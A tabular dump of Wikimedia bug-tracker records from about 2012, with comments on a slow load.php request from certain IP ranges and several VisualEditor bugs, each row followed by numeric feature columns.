206063,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","As we've changed data centers in late January and the related setup, could you please test if this is still a problem?",,,1362732889,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.88,1.0,"As we've changed data centers in late January and the related setup, could you please test if this is still a problem?"
206057,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:

This appears to be a *script bug* in http://bits.wikimedia.org/en.wikipedia.org/load.php because the server itself shows no problems at all.",,,1356131835,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-28,,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.9655172413793105,0.8275862068965517,"**bugzilla.wikimedia.org.76374** wrote:

This appears to be a *script bug* in URL because the server itself shows no problems at all."
206050,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out",I'm wondering if this is a dup of bug 41130?,,,1356116359,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,2.9166666666666665,1.0,I'm wondering if this is a dup of bug 41130?
206043,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","(In reply to comment #2)
> Works from 81.169.0.0/16, but *NOT* from 78.52.0.0/16 (Europe/Berlin/dynamic
> IP
> for DSL endpoint)

Is the routing to the bits servers ok from both ip address ranges?",,,1355671621,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2413793103448274,0.7931034482758621,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Is the routing to the bits servers ok from both ip address ranges?"
206037,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:

Works from 81.169.0.0/16, but *NOT* from 78.52.0.0/16 (Europe/Berlin/dynamic IP for DSL endpoint)",,,1355671137,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.344827586206897,0.7586206896551724,"**bugzilla.wikimedia.org.76374** wrote:

Works from 81.169.0.0/16, but *NOT* from 78.52.0.0/16 (Europe/Berlin/dynamic IP for DSL endpoint)"
206032,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Works for me - is this still an issue, and on which continent are you based? There were some load issues but they are mostly fixed now.",,,1355665523,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-29,,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,3.0,0.0,0.0,10.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.6333333333333333,0.9666666666666667,"Works for me - is this still an issue, and on which continent are you based? There were some load issues but they are mostly fixed now."
44553,VisualEditor: Only replace url on veaction=edit if there is no other query,"Go to a VE wiki page directly in edit mode:

http://mediawiki.org/wiki/VisualEditor:Test?uselang=he&veaction=edit

The integration changes the URL to:

https://www.mediawiki.org/wiki/VisualEditor:Test

... instead of:

https://www.mediawiki.org/wiki/VisualEditor:Test?uselang=he

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1354218360,1354565570.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-er2j2jzi7wxs7w6xckns,task_description,resolved,True,c1,0,True,False,True,-31,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4791666666666665,0.5625,"Go to a VE wiki page directly in edit mode:

URL

The integration changes the URL to:

URL

... instead of:

URL

--------------------------
**Version**: unspecified
**Severity**: minor"
199811,VisualEditor: Only replace url on veaction=edit if there is no other query,Code now live in master; will get deployed in the next cycle.,,,1354565570,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-er2j2jzi7wxs7w6xckns,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,Code now live in master; will get deployed in the next cycle.
199807,VisualEditor: Only replace url on veaction=edit if there is no other query,Change-Id: Ia63c937d3a0a68acaa178486ab439bc1ea9db8af,,,1354423024,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-er2j2jzi7wxs7w6xckns,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: Ia63c937d3a0a68acaa178486ab439bc1ea9db8af
44306,VisualEditor: Integration fails if an article has an '@' character in its title,"VE/MW integration fails (does not trigger but instead throws two errors, below) if an article has an '@' character in its title, though these are valid

Uncaught Error: Bad constructor arguments    mediawiki.Uri.js:165
Uri                     mediawiki.Uri.js:165
mw.UriRelative          mediawiki.Uri.js:318
(anonymous function)    mediawiki.Uri.js:325
(anonymous function)    mediawiki.Uri.js:328

Uncaught TypeError: undefined is not a function    ve.init.mw.ViewPageTarget.js:18
VeInitMwViewPageTarget    ve.init.mw.ViewPageTarget.js:18
(anonymous function)      ve.init.mw.ViewPageTarget.js:1121

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://www.mediawiki.org/wiki/VisualEditor:Test@4",Low,25.0,1353449520,1358878792.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pjkjsbfhouqskvpvg6ev,task_description,resolved,True,c1,0,True,False,True,-32,,0.0,0.0,0.0,0.0,1.5,6.5,1.5,0.0,0.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,0.0,0.0,11.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.5,9.5,1.0,0.5,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,1.5,7.5,0.0,1.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.542952208106474,0.6678765880217785,"VE/MW integration fails (does not trigger but instead throws two errors, below) if an article has an '@' character in its title, though these are valid

Uncaught Error: Bad constructor arguments    mediawiki.Uri.js:165
Uri                     mediawiki.Uri.js:165
mw.UriRelative          mediawiki.Uri.js:318
(anonymous function)    mediawiki.Uri.js:325
(anonymous function)    mediawiki.Uri.js:328

Uncaught TypeError: undefined is not a function    ve.init.mw.ViewPageTarget.js:18
VeInitMwViewPageTarget    ve.init.mw.ViewPageTarget.js:18
(anonymous function)      ve.init.mw.ViewPageTarget.js:1121

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
184961,VisualEditor: Integration fails if an article has an '@' character in its title,"Fixed upstream, will be in 1.21wmf9.",,,1358878792,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pjkjsbfhouqskvpvg6ev,task_subcomment,,True,c1,1,True,,,-23,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,"Fixed upstream, will be in 1.21wmf9."
184956,VisualEditor: Integration fails if an article has an '@' character in its title,Upstream issue in the mediawiki.Uri module of mediawiki/core.,,,1354127118,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-pjkjsbfhouqskvpvg6ev,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,0.8461538461538461,Upstream issue in the mediawiki.Uri module of mediawiki/core.
44281,VisualEditor: Putting cursor immediately before link should display inspector icon,"Currently, putting the cursor inside a link displays the inspector icon (except for bug 42276). Putting the cursor immediately after a link (i.e. between the last linked character and the first non-linked character) also displays the icon, but putting it immediately before the icon (between the last non-linked character and the first linked character) does not. I think it should.

Of course, the interesting question here is what should happen when you have two directly adjacent links and you put the cursor between them.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1353379740,1353539731.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-nm5db6sizlej6gdhkkqp,task_description,declined,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,7.0,5.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.5,1.0,4.5,1.5,2.5,7.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,4.5,5.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,1.0,1.0,1.5,0.0,0.0,0.5,4.291666666666667,0.6333333333333333,"Currently, putting the cursor inside a link displays the inspector icon (except for bug 42276). Putting the cursor immediately after a link (i.e. between the last linked character and the first non-linked character) also displays the icon, but putting it immediately before the icon (between the last non-linked character and the first linked character) does not. I think it should.

Of course, the interesting question here is what should happen when you have two directly adjacent links and you put the cursor between them.

--------------------------
**Version**: unspecified
**Severity**: normal"
183689,VisualEditor: Putting cursor immediately before link should display inspector icon,"Per IRL discussion, this is wontfix.",,,1353539731,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nm5db6sizlej6gdhkkqp,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,"Per IRL discussion, this is wontfix."
44279,VisualEditor: Pre-annotations code annotates characters with the empty set,"1. Open any document
2. Blank it
3. Type some text
4. Dump the model into the console (ve.instances[0].documentModel.data)

Expected output: [ 'F', 'o', 'o', 'b', 'a', 'r' ]
Actual output: [ 'F', ['o', ve.AnnotationSet([])], ['b', ve.AnnotationSet([])] ...

The pre-annotations code is applying the empty set as a pre-annotation to every character except the first. This shouldn't happen, it should just not annotate if it's got nothing to annotate with.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1353378840,1353546616.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vedbqhk6swjrkcfcznus,task_description,resolved,True,c1,0,False,False,True,-32,,1.5,0.0,0.0,0.0,1.5,5.0,0.0,0.0,0.0,0.5,0.5,10.0,0.0,0.0,0.0,0.0,0.0,2.0,4.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,0.5,7.5,1.5,0.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,2.0,4.5,3.5,0.0,9.5,0.0,2.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,5.0,3.0064935064935066,0.577922077922078,"1. Open any document
2. Blank it
3. Type some text
4. Dump the model into the console (ve.instances[0].documentModel.data)

Expected output: [ 'F', 'o', 'o', 'b', 'a', 'r' ]
Actual output: [ 'F', ['o', ve.AnnotationSet([])], ['b', ve.AnnotationSet([])] ...

The pre-annotations code is applying the empty set as a pre-annotation to every character except the first. This shouldn't happen, it should just not annotate if it's got nothing to annotate with.

--------------------------
**Version**: unspecified
**Severity**: normal"
183490,VisualEditor: Pre-annotations code annotates characters with the empty set,Actually fixed in gerrit 34684,,,1353546438,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Actually fixed in gerrit 34684
183489,VisualEditor: Pre-annotations code annotates characters with the empty set,"...doesn't actually fix it, will investigate.",,,1353543663,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"...doesn't actually fix it, will investigate."
183487,VisualEditor: Pre-annotations code annotates characters with the empty set,https://gerrit.wikimedia.org/r/#/c/34598/,,,1353541416,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
183484,VisualEditor: Pre-annotations code annotates characters with the empty set,Trevor has a commit queued up that fixes this.,,,1353530421,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Trevor has a commit queued up that fixes this.
44141,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","Currently to view the underlying wikitext of a page that's in a namespace where VisualEditor is active, one clicks an ""edit source"" tab. However, when editing, if you want to see the underlying wikitext but not lose your changes or really just not have to reload the page, that isn't possible. It'd be awfully nice if you could toggle between wikitext and the VisualEditor interface without needing to reload the page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57462",Low,25.0,1352958180,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-o2rqx7ng2feqhiottjsd,task_description,open,True,c1,0,False,False,,-33,,0.0,0.0,0.0,0.0,2.0,4.0,2.5,0.0,0.0,1.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.5,6.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,5.0,2.5,8.0,2.5,2.0,5.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5,6.5,1.5,0.0,1.0,0.0,3.5,0.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,3.9816558441558443,0.7202922077922078,"Currently to view the underlying wikitext of a page that's in a namespace where VisualEditor is active, one clicks an ""edit source"" tab. However, when editing, if you want to see the underlying wikitext but not lose your changes or really just not have to reload the page, that isn't possible. It'd be awfully nice if you could toggle between wikitext and the VisualEditor interface without needing to reload the page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
492134,"VisualEditor: Make MW's core ""edit source"" functionality load in-page",It seems like this task is sort of obsoleted by {T102398} and its blockers+dependencies.,,,1437012494,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,3,True,,,106,,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.411764705882353,1.0,It seems like this task is sort of obsoleted by {T102398} and its blockers+dependencies.
200694,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","When a user presses ""Save page"" (for the second time, as you point out):
* the HTML DOM gets converted to Parsoid-format HTML+RDFa,
* this HTML+RDFa is squirted at Parsoid, 
* Parsoid converts it to wikitext, and
* Parsoid saves it to the DB (using the user permissions/etc. as provided by VE from the user session).",,,1353022256,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,16.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,13.0,12.0,0.0,3.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,3.473684210526316,0.6578947368421053,"When a user presses ""Save page"" (for the second time, as you point out):
* the HTML DOM gets converted to Parsoid-format HTML+RDFa,
* this HTML+RDFa is squirted at Parsoid, 
* Parsoid converts it to wikitext, and
* Parsoid saves it to the DB (using the user permissions/etc. as provided by VE from the user session)."
200688,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","(In reply to comment #1)
> This would be nice, but goes far beyond current functionality of MW core, so
> marking as low priority.

